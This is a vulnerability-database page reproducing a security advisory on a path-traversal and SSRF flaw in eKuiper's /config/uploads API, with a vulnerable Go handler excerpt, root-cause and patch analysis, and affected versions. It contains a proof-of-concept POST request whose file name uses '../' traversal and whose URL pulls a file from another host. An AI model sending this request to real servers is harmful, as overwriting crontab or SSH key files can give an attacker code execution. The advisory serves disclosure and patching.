N/A

CVSS Score

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

GHSA-gj54-gwj9-x2c6

GHSA-gj54-gwj9-x2c6: eKuiper /config/uploads API arbitrary file writing may lead to RCE

Summary

eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.

Details

func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
	switch r.Method {
	// Upload or overwrite a file
	case http.MethodPost:
		switch r.Header.Get("Content-Type") {
		case "application/json":
			fc := &fileContent{}
			defer r.Body.Close()
			err := json.NewDecoder(r.Body).Decode(fc)
			if err != nil {
				handleError(w, err, "Invalid body: Error decoding file json", logger)
				return
			}
			err = fc.Validate()
			if err != nil {
				handleError(w, err, "Invalid body: missing necessary field", logger)
				return
			}

			filePath := filepath.Join(uploadDir, fc.Name)
			err = upload(fc)

The fc.Name parameter do not safely filtered.

PoC

POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89

{
  "name": "../../../../tmp/success",
 "file": "http://192.168.65.254:8888/success"
}

Impact

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

SSRF
Path-Travel
May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.

(GitHub Advisory)

Miggo Vulnerability Database

→

GHSA-gj54-gwj9-x2c6

GHSA-gj54-gwj9-x2c6:

N/A

CVSS Score

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
github.com/lf-edge/ekuiper/v2	go	< 2.2.0	2.2.0
github.com/lf-edge/ekuiper	go	<= 1.14.7

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability exists in the /config/uploads API endpoint, which is handled by the fileUploadHandler function in internal/server/rest.go. This endpoint allows users to upload files either via a multipart form or by providing a URL in a JSON payload.

The root cause of the vulnerability is improper path validation. The application constructs file paths by concatenating a base directory with a user-provided filename using filepath.Join. However, filepath.Join does not prevent path traversal attacks (e.g., using ../). The resulting path is then passed to os.Create or os.OpenFile, which will write to any location on the filesystem that the user running the application has permissions for.

This vulnerability manifests in two code paths within fileUploadHandler:

Multipart requests: The file writing logic is directly inside fileUploadHandler.
JSON requests: The logic is in the getFile function, which is called by fileUploadHandler.

Both of these were vulnerable. An attacker could exploit this by sending a crafted filename to write files to arbitrary locations, potentially leading to Remote Code Execution (RCE) by overwriting system files like cron jobs or SSH keys.

A similar path traversal vulnerability was also present in the filex.UnzipTo function, used for plugin installation, which could be triggered by a maliciously crafted plugin zip file.

The patch addresses these issues by introducing a sandboxing mechanism. It uses a custom os.OpenRoot function to create a restricted (chroot-like) view of the filesystem, limited to the intended upload or plugin directory. All file creation operations (root.Create, root.OpenFile) are then performed within this sandbox, effectively preventing any writes outside of the designated directories.

Vulnerable functions

Only Mi**o us*rs **n s** t*is s**tion

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.